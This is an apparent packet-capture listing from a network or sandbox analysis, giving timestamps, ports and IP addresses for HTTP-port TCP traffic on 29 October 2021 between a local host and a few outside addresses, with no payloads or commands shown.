Oct 29, 2021 15:31:06.734226942 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.734276056 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.734309912 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.736730099 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.736780882 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.736871004 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.736871004 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.736928940 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.736970901 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737001896 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.737059116 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737111092 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737149954 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737154007 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.737188101 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737227917 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737231970 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.737267017 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737307072 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737323046 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.737349033 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737356901 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.737389088 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737437010 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737477064 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737493992 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.737515926 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737534046 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.737559080 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737597942 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737633944 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737647057 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.737673044 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737682104 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.737711906 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737750053 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737787962 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737802982 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.737826109 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737833977 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.737865925 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737904072 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737940073 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737955093 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.737988949 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.737996101 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.738028049 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.738065958 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.738105059 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.738120079 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.738151073 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.738169909 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.738234043 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.738270998 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.738289118 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.738310099 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.738348007 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.738384962 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.738400936 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.738425970 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.738435030 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.738465071 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.738502979 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.738542080 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.738548040 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.738583088 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.738647938 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.738647938 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.738699913 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.783472061 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:06.801107883 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801156998 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801197052 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801234007 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801270008 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.801271915 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801302910 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.801314116 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801352978 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801393032 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801407099 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.801433086 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801445007 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.801471949 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801511049 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801549911 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801574945 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.801589966 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.801592112 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801634073 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801671028 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801713943 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801728964 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.801752090 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801767111 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.801791906 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801831007 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801867008 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801892042 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.801904917 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801933050 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.801944971 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.801981926 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.802021027 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.802033901 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.802059889 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.802074909 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.802098989 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.802138090 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.802174091 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.802187920 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.802213907 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.802215099 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.802253962 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.802289963 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.802326918 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.802336931 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.802365065 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.802378893 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.802405119 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.802443981 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.802479982 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.802490950 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.802520037 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.802525043 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:06.802560091 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.802592993 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:06.802644968 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.545438051 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.545496941 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.546011925 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:07.546062946 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:07.609523058 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:07.609561920 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:07.612356901 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.622740030 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.622781038 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.622812986 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.622843027 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.622874022 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.622911930 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.622955084 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.622961044 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.622994900 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.622998953 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.623007059 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.623034954 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.623075962 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.623099089 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.623114109 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.623127937 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.623156071 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.623195887 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.623233080 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.623249054 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.623271942 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.623285055 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.623311996 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.623348951 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.623387098 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.623408079 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.623430967 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.623444080 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.623469114 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.623508930 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.623594046 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.690349102 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.690398932 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.690438032 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.690478086 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.690498114 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.690515995 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.690536022 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.690557003 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.690596104 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.690613985 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.690635920 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.690656900 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.690675974 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.690713882 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.690753937 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.690768957 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.690793991 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.690800905 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.690831900 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.690871954 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.690910101 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.690922022 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.690947056 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.690956116 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.690984964 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691024065 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691061974 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691077948 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.691101074 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691109896 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.691138983 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691178083 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691215038 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691225052 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.691252947 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691262007 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.691292048 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691329956 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691368103 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691384077 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.691407919 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691423893 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.691445112 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691483021 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691521883 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691529989 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.691559076 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691565990 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.691597939 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691637993 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691675901 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691689968 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.691715956 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691721916 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.691754103 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691792011 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691829920 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691838026 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.691867113 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691880941 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.691905975 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.691943884 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.692187071 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.734138012 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:07.758568048 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.758620024 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.758661985 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.758699894 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.758738041 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.758775949 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.758784056 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.758816004 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.758822918 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.758857965 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.758876085 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.758894920 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.758917093 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.758934975 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.758975029 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759012938 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759025097 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.759051085 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759056091 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.759090900 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759130955 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759170055 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759183884 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.759210110 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759216070 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.759249926 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759289026 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759327888 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759335041 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.759367943 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759373903 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.759407043 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759444952 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759484053 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759495974 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.759520054 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759526968 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.759560108 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759598017 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759634018 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759648085 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.759674072 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759677887 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.759733915 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759771109 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759808064 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759821892 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.759845972 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759864092 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.759884119 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759924889 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759963036 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.759975910 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.760003090 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760011911 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.760046959 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760085106 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760123014 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760130882 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.760163069 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760169029 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.760200977 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760238886 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760276079 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760289907 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.760315895 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760324001 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.760356903 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760394096 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760432005 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760442019 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.760472059 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760478020 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.760509014 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760549068 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760586023 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760593891 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.760624886 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760632992 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.760674000 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760710955 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760749102 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760763884 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.760788918 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760795116 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.760826111 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760904074 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760941982 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760957003 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.760982037 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.760989904 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.761023045 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761059999 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761097908 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761106968 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.761138916 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761146069 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.761179924 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761215925 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761253119 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.761254072 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761292934 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761328936 CEST	80	49846	193.56.146.214	192.168.2.7
